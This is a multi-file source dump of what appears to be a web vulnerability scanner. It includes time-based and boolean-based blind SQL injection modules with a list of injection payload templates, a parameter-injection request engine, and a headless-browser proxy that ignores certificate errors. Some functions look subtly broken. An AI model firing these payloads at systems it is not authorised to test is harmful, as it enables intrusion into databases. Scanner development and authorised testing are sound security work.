29 | self.cookies = {}
30 | self.input = "urldata"
31 | self.output = "vulns"
32 | self.severity = 3
33 |
34 | def run(self, url, data={}, headers={}, cookies={}):
35 | if not self.active and 'passive' not in self.module_types:
36 | # cannot send requests and not configured to do passive analysis on data
37 | return
38 | base, param_data = self.get_params_from_url(url)
39 | self.cookies = cookies
40 | self.headers = headers
41 | results = []
42 | if not data:
43 | data = {}
44 | for param in param_data:
45 | result = self.inject(base, param_data, data, parameter_get=param, parameter_post=None)
46 | if result:
47 | response, match = result
48 | results.append({'request': requests_response_to_dict(response), "match": match})
49 |
50 | for param in data:
51 | result = self.inject(base, param_data, data, parameter_get=None, parameter_post=param)
52 | if result:
53 | response, match = result
54 | results.append({'request': requests_response_to_dict(response), "match": match})
55 | return results
56 |
57 | def send(self, url, params, data):
58 | result = None
59 | headers = self.headers
60 | cookies = self.cookies
61 | start = time.time()
62 | # print(url, params, data)
63 | try:
64 | if data:
65 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies)
66 | else:
67 | result = requests.get(url, params=params, headers=headers, cookies=cookies)
68 | except requests.Timeout:
69 | if self.has_read_timeout:
70 | if self.timeout_state > self.max_timeout_state:
71 | self.close()
72 | return None
73 |
74 | self.timeout_state += 1
75 | sleeptime = self.timeout_state * 10
76 | time.sleep(sleeptime)
77 | return self.send(url, params, data, headers, cookies)
78 | else:
79 | self.has_read_timeout = True
80 | self.timeout_state = 1
81 | sleeptime = self.timeout_state * 10
82 | time.sleep(sleeptime)
83 | return self.send(url, params, data, headers, cookies)
84 | except Exception:
85 | return False
86 | end = time.time()
87 | eslaped = end - start
88 | return eslaped, result
89 |
90 | def validate(self, url, params, data, injection_value, original_value, parameter_post=None, parameter_get=None):
91 | min_wait_time = random.randint(5, 10)
92 | injection_true = injection_value.replace('{sleep_value}', str(min_wait_time))
93 | injection_true = injection_true.replace('{original_value}', str(original_value))
94 |
95 | injection_false = injection_value.replace('{sleep_value}', str(0))
96 | injection_false = injection_false.replace('{original_value}', str(original_value))
97 |
98 | if parameter_get:
99 | tmp = dict(params)
100 | tmp[parameter_get] = injection_true
101 | result = self.send(url, params, tmp)
102 | if result:
103 | eslaped, object = result
104 | if eslaped > min_wait_time:
105 | tmp = dict(params)
106 | tmp[parameter_get] = injection_false
107 | result = self.send(url, tmp, data)
108 | if result:
109 | eslaped, object = result
110 | if eslaped < min_wait_time:
111 | return object, eslaped
112 | else:
113 | return None
114 | else:
115 | return None
116 | else:
117 | postenc = self.params_to_url("", data)[1:]
118 | tmp = dict(data)
119 | tmp[parameter_post] = injection_true
120 | result = self.send(url, params, tmp)
121 | if result:
122 | eslaped, object = result
123 | if eslaped > min_wait_time:
124 | tmp = dict(params)
125 | tmp[parameter_post] = injection_false
126 | result = self.send(url, params, tmp)
127 | if result:
128 | eslaped, object = result
129 | if eslaped < min_wait_time:
130 | return object, eslaped
131 | else:
132 | return None
133 | else:
134 | return None
135 |
136 | def inject(self, url, params, data=None, parameter_get=None, parameter_post=None):
137 | if parameter_get:
138 | tmp = dict(params)
139 | for injection_value in self.possibilities:
140 | min_wait_time = random.randint(5, 10)
141 | payload = injection_value.replace('{sleep_value}', str(min_wait_time))
142 | payload = payload.replace('{original_value}', str(params[parameter_get]))
143 | tmp[parameter_get] = payload
144 | result = self.send(url, tmp, data)
145 | if result:
146 | eslaped, object = result
147 | if eslaped > min_wait_time:
148 | check_result = self.validate(url, params, data, injection_value, original_value=params[parameter_get], parameter_post=None,
149 | parameter_get=parameter_get)
150 | if check_result:
151 | return (object,
152 | {"injection": payload,
153 | "parameter": parameter_get,
154 | "location": "url",
155 | "server_sleep": eslaped
156 | })
157 | return False
158 | if parameter_post:
159 | tmp = dict(data)
160 | for injection_value in self.possibilities:
161 | min_wait_time = random.randint(5, 10)
162 | payload = injection_value.replace('{sleep_value}', str(min_wait_time))
163 | payload = payload.replace('{original_value}', str(data[parameter_post]))
164 | tmp[parameter_post] = payload
165 | result = self.send(url, params, tmp)
166 | if result:
167 | eslaped, object = result
168 | if eslaped > min_wait_time:
169 | check_result = self.validate(url, params, data, injection_value, original_value=data[parameter_post], parameter_post=parameter_post,
170 | parameter_get=None)
171 | if check_result:
172 | return (object,
173 | {"injection": payload,
174 | "parameter": parameter_post,
175 | "location": "body",
176 | "server_sleep": eslaped
177 | })
178 | return False
179 |
180 |
181 |
182 |
--------------------------------------------------------------------------------
/modules/module_sqli_booleanbased.py:
--------------------------------------------------------------------------------
1 | try:
2 | from urllib import quote_plus
3 | except ImportError:
4 | from urllib.parse import quote_plus
5 | import requests
6 | import random
7 | import modules.module_base
8 | from core.utils import requests_response_to_dict, random_string
9 |
10 |
11 | class Module(modules.module_base.Base):
12 | def __init__(self):
13 | self.name = "Blind SQL Injection (Boolean Based)"
14 | self.active = True
15 | self.module_types = ['injection']
16 | self.possibilities = {
17 | 'bool_int_and': "{original_value} AND ({query})",
18 | 'bool_int_and_comment': "{original_value} AND ({query})--",
19 | 'bool_int_or': "-1 OR ({query})",
20 | 'bool_int_or_comment': "-1 OR ({query})--",
21 | 'bool_int_and_group_comment': "{original_value}) AND ({query})--",
22 | 'bool_str_and': "{original_value}' AND ({query}) OR 'a'='b",
23 | 'bool_str_or': "invalid' OR ({query}) OR 'a'='b",
24 | 'bool_str_and_comment': "{original_value}' AND ({query})--",
25 | 'bool_str_or_comment': "invalid' OR ({query})--",
26 | 'bool_str_and_group_comment': "{original_value}') AND ({query})--",
27 | }
28 |
29 | self.can_use_content_length = True
30 | self.is_stable = True
31 | self.severity = 3
32 |
33 | self.auto = True
34 | self.headers = {}
35 | self.cookies = {}
36 | self.input = "urldata"
37 | self.output = "vulns"
38 | self.aggressive = False
39 |
40 | def run(self, url, data={}, headers={}, cookies={}):
41 | if not self.active and 'passive' not in self.module_types:
42 | # cannot send requests and not configured to do passive analysis on data
43 | return
44 | base, param_data = self.get_params_from_url(url)
45 | self.cookies = cookies
46 | self.headers = headers
47 | results = []
48 | if not data:
49 | data = {}
50 | for param in param_data:
51 | result = self.inject(base, param_data, data, parameter_get=param, parameter_post=None)
52 | if result:
53 | response, match = result
54 | results.append({'request': requests_response_to_dict(response), "match": match})
55 |
56 | for param in data:
57 | result = self.inject(base, param_data, data, parameter_get=None, parameter_post=param)
58 | if result:
59 | response, match = result
60 | results.append({'request': requests_response_to_dict(response), "match": match})
61 | return results
62 |
63 | def send(self, url, params, data=None):
64 | result = None
65 | headers = self.headers
66 | cookies = self.cookies
67 | try:
68 | if data:
69 | result = requests.post(url, params=params, data=data, headers=headers, cookies=cookies)
70 | else:
71 | result = requests.get(url, params=params, headers=headers, cookies=cookies)
72 |
73 | except Exception:
74 | return False
75 | return result
76 |
77 | def getlen(self, response):
78 | if not response:
79 | return 0
80 | if self.can_use_content_length:
81 | for header in response.headers:
82 | if header.lower() == 'content-length':
83 | return int(response.headers[header])
84 | self.can_use_content_length = False
85 | return len(response.text)
86 |
87 | def inject(self, url, params, data=None, parameter_get=None, parameter_post=None):
88 | if parameter_get:
89 | tmp = dict(params)
90 | ogvalue = tmp[parameter_get]
91 |
92 | get_firstpage = self.send(url, tmp, data)
93 | firstpage_len = self.getlen(get_firstpage)
94 |
95 | get_firstpage_two = self.send(url, tmp, data)
96 | second_page = self.getlen(get_firstpage_two)
97 | if second_page != firstpage_len:
98 | # cannot check with random page length (dynamic content)
99 | return False
100 | rstring = random_string()
101 | tmp[parameter_get] = rstring
102 | check_reflection = self.send(url, params=tmp, data=data)
103 | if rstring in check_reflection.text:
104 | # query values are reflected, cannot test using only page length
105 | return False
106 | tmp[parameter_get] = ogvalue
107 |
108 | for injection in self.possibilities:
109 | injection_query = self.possibilities[injection]
110 |
111 | random_true = random.randint(9999, 999999)
112 | random_false = random_true + 1
113 |
114 | query_true = "%d=%d" % (random_true, random_true)
115 | query_false = "%d=%d" % (random_true, random_false)
116 |
117 | injection_query_true = injection_query.replace('{original_value}', ogvalue)
118 | injection_query_true = injection_query_true.replace('{query}', query_true)
119 |
120 | tmp[parameter_get] = injection_query_true
121 | page_data = self.send(url, params=tmp, data=data)
122 |
123 | datalen_true = self.getlen(page_data)
124 |
125 | if True:
126 | # might be vulnerable because query caused original state
127 | injection_query_false = injection_query.replace('{original_value}', ogvalue)
128 | injection_query_false = injection_query_false.replace('{query}', query_false)
129 |
130 | tmp[parameter_get] = injection_query_false
131 | get_data = self.send(url, params=tmp, data=data)
132 | datalen = self.getlen(get_data)
133 | if get_data and datalen != datalen_true:
134 | return (get_data, {"injection": injection.upper(),
135 | "parameter": parameter_get,
136 | "location": "url",
137 | "query_true": injection_query_true,
138 | "query_false": injection_query_false,
139 | "states": {
140 | "true_length": datalen_true,
141 | "false_length": datalen
142 | }})
143 |
144 | if parameter_post:
145 | tmp = dict(data)
146 | ogvalue = tmp[parameter_post]
147 |
148 | get_firstpage = self.send(url, params, tmp)
149 | firstpage_len = self.getlen(get_firstpage)
150 |
151 | get_firstpage_two = self.send(url, params, tmp)
152 | second_page = self.getlen(get_firstpage_two)
153 | if second_page != firstpage_len:
154 | # cannot check with random page length (dynamic content)
155 | return False
156 |
157 | rstring = random_string()
158 | tmp[parameter_post] = rstring
159 | check_reflection = self.send(url, params=params, data=tmp)
160 | if rstring in check_reflection.text:
161 | # query values are reflected, cannot test using only page length
162 | return False
163 | tmp[parameter_post] = ogvalue
164 |
165 | for injection in self.possibilities:
166 | injection_query = self.possibilities[injection]
167 |
168 | random_true = random.randint(9999, 999999)
169 | random_false = random_true + 1
170 |
171 | query_true = "%d=%d" % (random_true, random_true)
172 | query_false = "%d=%d" % (random_true, random_false)
173 |
174 | injection_query_true = injection_query.replace('{original_value}', ogvalue)
175 | injection_query_true = injection_query_true.replace('{query}', query_true)
176 |
177 | tmp[parameter_post] = injection_query_true
178 | page_data = self.send(url, params=params, data=tmp)
179 | if str(random_true) in page_data.text:
180 | # query values are reflected, cannot test using only page length
181 | continue
182 |
183 | datalen_true = self.getlen(page_data)
184 |
185 | if True:
186 | # might be vulnerable because query caused original state
187 | injection_query_false = injection_query.replace('{original_value}', ogvalue)
188 | injection_query_false = injection_query_false.replace('{query}', query_false)
189 |
190 | tmp[parameter_post] = injection_query_false
191 | get_postdata = self.send(url, params=data, data=tmp)
192 | datalen = self.getlen(get_postdata)
193 | if get_postdata and datalen != datalen_true:
194 | return (get_postdata, {"injection": injection.upper(),
195 | "parameter": parameter_post,
196 | "location": "url",
197 | "query_true": injection_query_true,
198 | "query_false": injection_query_false,
199 | "states": {
200 | "true_length": datalen_true,
201 | "false_length": datalen
202 | }})
203 | return None
204 |
--------------------------------------------------------------------------------
/core/engine.py:
--------------------------------------------------------------------------------
1 | import re
2 | import fnmatch
3 | from core.utils import *
4 | from core.request import *
5 | import copy
6 | try:
7 | from urlparse import urljoin, urlparse
8 | except ImportError:
9 | from urllib.parse import urljoin, urlparse
10 |
11 |
12 | class Engine:
13 | script = {}
14 |
15 |
16 | class CookieLib:
17 | cookiefile = None
18 | cookies = {
19 |
20 | }
21 | parsed = {}
22 | domain = None
23 |
24 | def __init__(self, cookiefile=None):
25 | self.cookiefile = cookiefile
26 |
27 | def set(self, string):
28 | string = string.replace('; ', ';')
29 | parts = string.split(';')
30 | p = parts[0]
31 | p = p.strip()
32 | cookie_key, cookie_value = p.split('=')
33 | secure = "Secure" in parts
34 | httponly = "HttpOnly" in parts
35 | self.parsed[cookie_key] = {
36 | "value": cookie_value,
37 | "is_secure": secure,
38 | "is_httponly": httponly
39 | }
40 | # if not cookie_key in self.cookies:
41 | # print("[COOKIELIB] Cookie %s=%s was set" % (cookie_key, cookie_value))
42 |
43 | self.cookies[cookie_key] = cookie_value
44 |
45 | def append(self, cookieset):
46 | for key in cookieset:
47 | self.parsed[key] = {"value": cookieset[key], "is_secure": False, "is_httponly": True}
48 | self.cookies[key] = cookieset[key]
49 |
50 | def get(self):
51 | outstr = ""
52 | if len(self.cookies) == 0:
53 | return None
54 | for c in self.cookies:
55 | outstr += "%s=%s; " % (c, self.cookies[c]["value"])
56 | return outstr[:-2]
57 |
58 | def autoparse(self, headers):
59 | plain = multi_to_lower(headers)
60 | if 'set-cookie' in plain:
61 | self.set(plain['set-cookie'])
62 |
63 |
64 | class MatchObject:
65 | is_ok = True
66 | match_type = ""
67 | match = ""
68 | match_location = "" # body, headers, cookie
69 | options = []
70 | name = "Template, please set name"
71 |
72 | def __init__(self, mtype, match, location, name, options=[]):
73 | self.match_type = mtype
74 | self.match_location = location
75 | self.match = match
76 | self.options = options
77 | self.name = name
78 | self.test_regex()
79 |
80 | def test_regex(self):
81 | if self.match_type == "regex":
82 | try:
83 | re.compile(self.match)
84 | except Exception as e:
85 | print("Compilation of regex %s has failed, disabling script" % self.match)
86 | print("Error: %s" % str(e))
87 | self.is_ok = False
88 |
89 | def run(self, response_object):
90 | if not response_object:
91 | return False
92 | if self.match_location == "status_code":
93 | if self.match_type == "contains":
94 | if self.match in str(response_object.code):
95 | return "(%s) status code: %s was found" % (self.name, self.match)
96 | if self.match_type == "equals":
97 | try:
98 | if response_object.code == int(self.match):
99 | return "(%s) status code: %s was found" % (self.name, self.match)
100 | except:
101 | pass
102 |
103 | if self.match_location == "body":
104 | search = response_object.text
105 | if "ignore_case" in self.options:
106 | search = search.lower()
107 |
108 | if "ascii" in self.options:
109 | search = search.encode('ascii', 'ignore')
110 |
111 | if "utf-8" in self.options:
112 | search = search.encode('utf-8', 'ignore')
113 |
114 | if self.match_type == "contains":
115 | if self.match in search:
116 | return "Match: %s was found" % self.match
117 |
118 | if self.match_type == "regex":
119 | r = re.compile(self.match)
120 | regresult = r.search(search) if "multi_line" not in self.options else r.search(search, re.MULTILINE)
121 | if regresult:
122 | matches = ', '.join(regresult.groups()) if len(regresult.groups()) > 0 else None
123 | if 'strip_newlines' in self.options and matches:
124 | matches = matches.replace("\n", "")
125 | return "Regex Match: %s was found %s" % (self.match, "match : %s" % matches if matches else '')
126 |
127 | if self.match_type == "fnmatch":
128 | if fnmatch.fnmatch(search, self.match):
129 | return "fnmatch: %s was found" % self.match
130 |
131 | if self.match_location == "headers":
132 | headers = response_object.headers
133 | if "ignore_case" in self.options:
134 | headers = multi_to_lower(headers, also_values="ignore_case_values" in self.options)
135 |
136 | if self.match_type == "exists":
137 | if self.match in headers:
138 | return "Header %s: %s exists" % (self.match, headers[self.match])
139 |
140 | if self.match_type.startswith('contains:'):
141 | key = self.match_type.replace('contains:', '')
142 | if key in headers:
143 | if self.match in headers[key]:
144 | return "Header %s: %s matches %s" % (key, headers[key], self.match)
145 |
146 | if self.match_type.startswith("regex:"):
147 | key = self.match_type.replace('regex:', '')
148 | if key in headers:
149 | r = re.compile(self.match)
150 | if r.search(headers[key]):
151 | return "Regex Match: %s was found on header %s: %s" % (self.match, key, headers[key])
152 | return False
153 |
154 |
155 | class CustomRequestBuilder:
156 | root_url = ""
157 | match = None
158 | url = ""
159 | data = None
160 | headers = {}
161 | options = []
162 |
163 | def __init__(self, url, data, headers={}, options=[]):
164 | self.url = url
165 | self.data = data
166 | self.headers = headers
167 |
168 | def run(self):
169 | newurl = ""
170 | if "rootdir" in self.options:
171 | data = urlparse(self.root_url)
172 | result = '{uri.scheme}://{uri.netloc}/'.format(uri=data)
173 | newurl = urljoin(result, self.url)
174 | else:
175 | newurl = urljoin(self.root_url, self.url)
176 | request = Request(
177 | url=newurl,
178 | data=self.data,
179 | headers=self.headers
180 | )
181 | request.run()
182 | if request.is_ok and request.is_done:
183 | return request
184 | return False
185 |
186 |
187 | class RequestBuilder:
188 | initial_request = None
189 | itype = None
190 | value = None
191 | debug = False
192 | results = []
193 | name = ""
194 |
195 | def __init__(self, req, inject_type, inject_value, matchobject, name):
196 | self.initial_request = copy.copy(req)
197 | self.itype = inject_type
198 | self.value = inject_value
199 | self.m = matchobject
200 | self.value = self.value.replace('{null}', '\0')
201 | self.name = name
202 |
203 | def execute(self, new_request):
204 | new_request.run()
205 | if new_request.is_done and new_request.is_ok:
206 | return new_request.response
207 | return None
208 |
209 | def test(self, response):
210 | if self.debug:
211 | print(response.to_string())
212 | for match in self.m:
213 | result = match.run(response)
214 | if result:
215 | return result
216 | return None
217 |
218 | def found(self, response, match):
219 | mobj = {"request": response_to_dict(response), "match": match}
220 | if mobj not in self.results:
221 | self.results.append(mobj)
222 |
223 | def run_on_parameters(self):
224 | original_url = self.initial_request.url
225 | if "?" in self.initial_request.url:
226 | url, parameters = self.initial_request.url.split('?')
227 | params = params_from_str(parameters)
228 | tmp = {}
229 | for p in params:
230 | tmp = dict(params)
231 | tmp[p] = self.value.replace('{value}', params[p])
232 | request = self.initial_request
233 | request.url = "%s?%s" % (url, params_to_str(tmp))
234 | response = self.execute(request)
235 | result = None
236 | result = self.test(response)
237 | if result:
238 | self.found(response, result)
239 | if self.initial_request.data:
240 | data = self.initial_request.data
241 | if type(data) == str:
242 | data = params_from_str(data)
243 | tmp = {}
244 | for p in data:
245 | tmp = dict(data)
246 | if not data[p]:
247 | data[p] = ""
248 | tmp[p] = self.value.replace('{value}', data[p])
249 | request = self.initial_request
250 | request.url = original_url
251 | request.data = tmp
252 | response = self.execute(request)
253 | result = self.test(response)
254 | if result:
255 | self.found(response, result)
256 |
257 | def run(self):
258 | self.results = []
259 | if "parameters" in self.itype:
260 | self.run_on_parameters()
261 | return self.results
262 |
--------------------------------------------------------------------------------
/core/scripts.py:
--------------------------------------------------------------------------------
1 | import os
2 | import json
3 | from core.engine import MatchObject, CustomRequestBuilder, RequestBuilder
4 | from core.utils import has_seen_before, response_to_dict
5 | import sys
6 | import logging
7 | try:
8 | import urlparse
9 | except ImportError:
10 | import urllib.parse as urlparse
11 |
12 |
13 | class ScriptEngine:
14 | scripts_active = []
15 | scripts_fs = []
16 | scripts_passive = []
17 | results = []
18 | triggers = []
19 | can_fs = True
20 | can_exploit = True
21 | s = None
22 | options = None
23 | log_level = logging.INFO
24 | writer = None
25 |
26 | def __init__(self, options=None, logger=logging.INFO, database=None):
27 | self.logger = self.logger = logging.getLogger("ScriptEngine")
28 | self.logger.setLevel(logger)
29 | ch = logging.StreamHandler(sys.stdout)
30 | ch.setLevel(logger)
31 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
32 | ch.setFormatter(formatter)
33 | if not self.logger.handlers:
34 | self.logger.addHandler(ch)
35 | self.logger.debug("Starting script parser")
36 | self.options = options
37 | self.log_level = logger
38 | self.parse_scripts()
39 | self.writer = database
40 |
41 | def parse_scripts(self):
42 | self.s = ScriptParser(logger=self.log_level)
43 | self.s.load_scripts()
44 | self.scripts_active = []
45 | self.scripts_fs = []
46 | self.scripts_passive = []
47 |
48 | for script in self.s.scripts:
49 | matches = []
50 | if self.options:
51 | if 'all' not in self.options:
52 | if self.options and 'options' in script:
53 | for sub in script['options']:
54 | if str(sub) not in self.options:
55 | self.logger.debug("Disabling script %s because %s is not enabled" % (script['name'], sub))
56 | continue
57 | else:
58 | if 'options' in script and 'dangerous' in script['options']:
59 | self.logger.debug("Disabling script %s because dangerous flag is present, use --options all or add the dangerous flag to override" % (script['name']))
60 | continue
61 |
62 | for x in script['matches']:
63 | mobj = MatchObject(
64 | mtype=x['type'],
65 | match=x['match'],
66 | location=x['location'],
67 | name=x['name'] if 'name' in x else script['name'],
68 | options=list(x['options'])
69 | )
70 | matches.append(mobj)
71 |
72 | script_data = {
73 | "name": script['name'],
74 | "find": script['find'],
75 | "severity": script['severity'],
76 | "request": script['request'],
77 | "data": script['data'] if 'data' in script else {},
78 | "matches": matches
79 | }
80 | if not script['request']:
81 | if script['run_at'] == "response":
82 | self.scripts_passive.append(script_data)
83 | if script['run_at'] == "fs":
84 | self.scripts_fs.append(script_data)
85 |
86 | if script['request']:
87 | self.scripts_active.append(script_data)
88 |
89 | def run_fs(self, base_url):
90 | links = []
91 | if self.can_fs:
92 | for script in self.scripts_fs:
93 | if str(script['find']) == "once":
94 | if has_seen_before(script['name'], self.results):
95 | continue
96 | data = script['data']
97 | new_req = CustomRequestBuilder(
98 | url=data['url'],
99 | data=data['data'] if 'data' in data else None,
100 | headers=data['headers'] if 'headers' in data else {},
101 | options=data['options'] if 'options' in data else [],
102 | )
103 | new_req.root_url = base_url
104 | result = new_req.run()
105 | if result:
106 | # is found so added to crawler
107 | if result.response.code == 200:
108 | links.append([urlparse.urljoin(base_url, new_req.url), new_req.data])
109 | for match in script['matches']:
110 | mresult = match.run(result.response)
111 | if mresult:
112 | res = "%s [%s] > %s" % (script['name'], result.response.to_string(), mresult)
113 | self.logger.info("Discovered: %s" % res)
114 | if self.writer:
115 | severity = script['severity'] if 'severity' in script else 0
116 | text = json.dumps({"request": response_to_dict(result.response), "match": mresult})
117 | self.writer.put(result_type="Basic Script - Filesystem", script=script['name'], severity=severity, text=text)
118 | self.results.append({"script": script['name'], "match": mresult, "data": response_to_dict(result.response)})
119 | return links
120 |
121 | def run_scripts(self, request):
122 | for script in self.scripts_passive:
123 | for match in script['matches']:
124 | result = match.run(request.response)
125 | if result:
126 | res = "%s [%s] > %s" % (script['name'], request.response.to_string(), result)
127 | self.logger.info("Discovered: %s" % res)
128 | if self.writer:
129 | severity = script['severity'] if 'severity' in script else 0
130 | text = json.dumps({"request": response_to_dict(request.response), "match": result})
131 | self.writer.put(result_type="Basic Script - Passive", script=script['name'],
132 | severity=severity, text=text, allow_only_once=str(script['find']) == "once")
133 | self.results.append(
134 | {"script": script['name'], "match": result, "data": response_to_dict(request.response)})
135 | if self.can_exploit:
136 | for script in self.scripts_active:
137 | try:
138 | r = RequestBuilder(
139 | req=request,
140 | inject_type=script['request'],
141 | inject_value=script['data']['inject_value'],
142 | matchobject=script['matches'],
143 | name=script['name']
144 | )
145 | results = []
146 | results = r.run()
147 | if results:
148 | for scan_result in results:
149 | if scan_result not in self.results:
150 | res = "[%s] URL %s > %s" % (script['name'], scan_result['request']['request']['url'], scan_result['match'])
151 | self.logger.info("Discovered: %s" % res)
152 | if self.writer:
153 | severity = script['severity'] if 'severity' in script else 0
154 | text = json.dumps(scan_result)
155 | self.writer.put(result_type="Basic Script - Active", script=script['name'],
156 | severity=severity, text=text)
157 | self.results.append(res)
158 | except Exception as e:
159 | self.logger.warning("Error running script %s: %s" % (script['name'], str(e)))
160 |
161 |
162 | class ScriptParser:
163 | directory = '../scripts'
164 | root_dir = ''
165 | script_dir = ''
166 | scripts = []
167 | logger = None
168 |
169 | def __init__(self, newdir=None, logger=logging.INFO):
170 | self.root_dir = os.path.dirname(os.path.realpath(__file__))
171 | self.script_dir = os.path.join(self.root_dir, self.directory) if not newdir else newdir
172 | self.logger = logging.getLogger("ScriptParser")
173 | self.logger.setLevel(logger)
174 | ch = logging.StreamHandler(sys.stdout)
175 | ch.setLevel(logger)
176 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
177 | ch.setFormatter(formatter)
178 | if not self.logger.handlers:
179 | self.logger.addHandler(ch)
180 | if not os.path.isdir(self.script_dir):
181 | self.logger.error("Cannot initialise script engine, directory '%s' does not exist" % self.script_dir)
182 | self.scripts = []
183 |
184 | def load_scripts(self):
185 | self.logger.debug("Init script engine")
186 | for f in os.listdir(self.script_dir):
187 | script = os.path.join(self.script_dir, f)
188 | if os.path.isfile(script):
189 | try:
190 | with open(script, 'r') as scriptfile:
191 | data = scriptfile.read()
192 | jsondata = json.loads(data)
193 | self.scripts.append(jsondata)
194 | except ValueError:
195 | self.logger.error("Script %s appears to be invalid JSON, ignoring" % f)
196 | pass
197 | except IOError:
198 | self.logger.error("Unable to access script file %s, ignoring" % f)
199 | pass
200 | self.logger.info("Script Engine loaded %d scripts" % len(self.scripts))
201 |
--------------------------------------------------------------------------------
/ext/mefjus/ghost.py:
--------------------------------------------------------------------------------
1 | from selenium.common.exceptions import UnexpectedAlertPresentException
2 | from selenium.webdriver import Chrome, ChromeOptions
3 | import time
4 | import logging
5 | import sys
6 | import os
7 | import threading
8 | from ext.mefjus.proxy import RequestInterceptorPlugin, ResponseInterceptorPlugin, AsyncMitmProxy
9 | from filelock import FileLock
10 |
11 |
12 | class GhostDriverInterface:
13 | driver_path = "drivers\\chromedriver.exe"
14 | driver = None
15 | logger = None
16 | page_sleep = 2
17 | proxy_host = "127.0.0.1"
18 | proxy_port = 3333
19 |
20 | def __init__(self, custom_path=None, logger=None, show_browser=False, use_proxy=True, proxy_port=None):
21 | if custom_path:
22 | self.driver_path = custom_path
23 | if proxy_port:
24 | self.proxy_port = int(proxy_port)
25 | self.logger = logging.getLogger("WebDriver")
26 | self.logger.setLevel(logger)
27 | ch = logging.StreamHandler(sys.stdout)
28 | ch.setLevel(logger)
29 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
30 | ch.setFormatter(formatter)
31 | self.logger.addHandler(ch)
32 | self.logger.debug("Starting Web Driver")
33 | if not os.path.exists(self.driver_path):
34 | self.logger.warning("Error loading driver from path: %s the driver module will be disabled\nGet the latest one from http://chromedriver.chromium.org/downloads" % self.driver_path)
35 | return
36 | self.start(use_proxy=use_proxy, show_browser=show_browser)
37 |
38 | def start(self, use_proxy=True, show_browser=False):
39 | try:
40 | options = ChromeOptions()
41 | options.add_argument("ignore-certificate-errors")
42 | options.add_argument("--ignore-ssl-errors")
43 | if not show_browser:
44 | options.add_argument("--headless")
45 | if use_proxy:
46 | self.logger.info("Enabled proxy %s:%d" % (self.proxy_host, self.proxy_port))
47 | options.add_argument("--proxy-server=http://" + "%s:%d" % (self.proxy_host, self.proxy_port))
48 |
49 | self.driver = Chrome(executable_path=self.driver_path, chrome_options=options)
50 | except Exception as e:
51 | self.logger.error("Error creating WebDriver object: %s" % str(e))
52 |
53 | def get(self, url):
54 | if not self.driver:
55 | return
56 | self.logger.debug("GET %s" % url)
57 | try:
58 | self.driver.get(url)
59 | except UnexpectedAlertPresentException:
60 | alert = self.driver.switch_to.alert
61 | alert.accept()
62 | self.logger.warning("Page %s threw an alert. disposing and requesting page again" % url)
63 | self.driver.get(url)
64 | except Exception as e:
65 | self.logger.error("Page %s threw an error: %s" % (url, str(e)))
66 |
67 | time.sleep(self.page_sleep)
68 | self.logger.debug("OK %s" % url)
69 |
70 | def close(self):
71 | self.logger.debug("Stopping Driver")
72 | if not self.driver:
73 | return
74 | self.driver.stop_client()
75 | self.driver.close()
76 | time.sleep(1)
77 |
78 |
79 | class HTTPParser:
80 |
81 | @staticmethod
82 | def parse(request):
83 | request = request.strip()
84 | data = request.split('\r\n')
85 | method, path, _ = data[0].split()
86 | postdata = None
87 | if method == "POST" and data[len(data)-2] == "":
88 | postdata = data[len(data)-1]
89 | data = data[:-2]
90 | return method, data[1:], path, postdata
91 |
92 | @staticmethod
93 | def extract_host(headers):
94 | for row in headers:
95 | if ":" in row:
96 | pairs = row.split(':')
97 | if len(pairs) > 2:
98 | continue
99 | key, value = pairs[0], pairs[1]
100 | key = key.strip()
101 | value = value.strip()
102 | if key.lower() == "host":
103 | return value
104 | return ""
105 |
106 | @staticmethod
107 | def string_to_urltree(input, use_https=False):
108 | tree = []
109 | if input and len(input):
110 | for row in input.strip().split('\n'):
111 | try:
112 | method, host, url, data = row.split('\t')
113 | url = "http%s://%s%s" % ("s" if use_https else "", host, url)
114 | if method == "POST" and data != "0":
115 | tree.append([url, HTTPParser.params_from_str(data)])
116 | else:
117 | tree.append([url, None])
118 | except Exception as e:
119 | pass
120 | return tree
121 |
122 | @staticmethod
123 | def params_from_str(string):
124 | out = {}
125 | if "&" in string:
126 | for param in string.split('&'):
127 | if "=" in param:
128 | sub = param.split('=')
129 | key = sub[0]
130 | value = sub[1]
131 | out[key] = value
132 | else:
133 | out[key] = ""
134 | else:
135 | if "=" in string:
136 | sub = string.split('=')
137 | key = sub[0]
138 | value = sub[1]
139 | out[key] = value
140 | else:
141 | out[string] = ""
142 | return out
143 |
144 |
145 | class DebugInterceptor(RequestInterceptorPlugin, ResponseInterceptorPlugin):
146 | proxy_log = "output.txt"
147 | proxy_log_lock = "output.txt.lock"
148 |
149 | def do_request(self, data):
150 | method, headers, path, postdata = HTTPParser.parse(data)
151 | host = HTTPParser.extract_host(headers)
152 | lock = FileLock(self.proxy_log_lock, timeout=5)
153 | with lock:
154 | lock.acquire()
155 | with open(self.proxy_log, 'a') as f:
156 | f.write("%s\t%s\t%s\t%s\n" % (method, host, path, postdata if postdata else "0"))
157 | lock.release()
158 | return data
159 |
160 | def do_response(self, data):
161 | return data
162 |
163 |
164 | class CustomProxy:
165 | proxyThread = None
166 | proxy_host = '127.0.0.1'
167 | proxy_port = 3333
168 | logger = logging.getLogger("Proxy")
169 | proxy = None
170 | ca_file = ""
171 | ca_dir = ""
172 | proxy_log = "output.txt"
173 |
174 | def __init__(self, custom_path=None, cert=None, logger=logging.INFO, proxy_port=None):
175 | self.logger.setLevel(logger)
176 | ch = logging.StreamHandler(sys.stdout)
177 | ch.setLevel(logger)
178 | formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
179 | ch.setFormatter(formatter)
180 | if proxy_port:
181 | self.proxy_port = int(proxy_port)
182 | if not self.logger.handlers:
183 | self.logger.addHandler(ch)
184 | self.logger.debug("Loaded Proxy")
185 | if custom_path:
186 | self.ca_dir = custom_path
187 | if cert:
188 | self.ca_file = cert
189 | self.logger.debug("Cleaning proxy log: %s" % self.proxy_log)
190 | with open(self.proxy_log, 'w') as f:
191 | f.write("")
192 |
193 | def start(self):
194 | self.proxyThread = threading.Thread(target=self.subroutine)
195 | self.logger.debug("Starting Proxy")
196 | self.proxyThread.start()
197 | time.sleep(1)
198 |
199 | def subroutine(self):
200 | if self.ca_file:
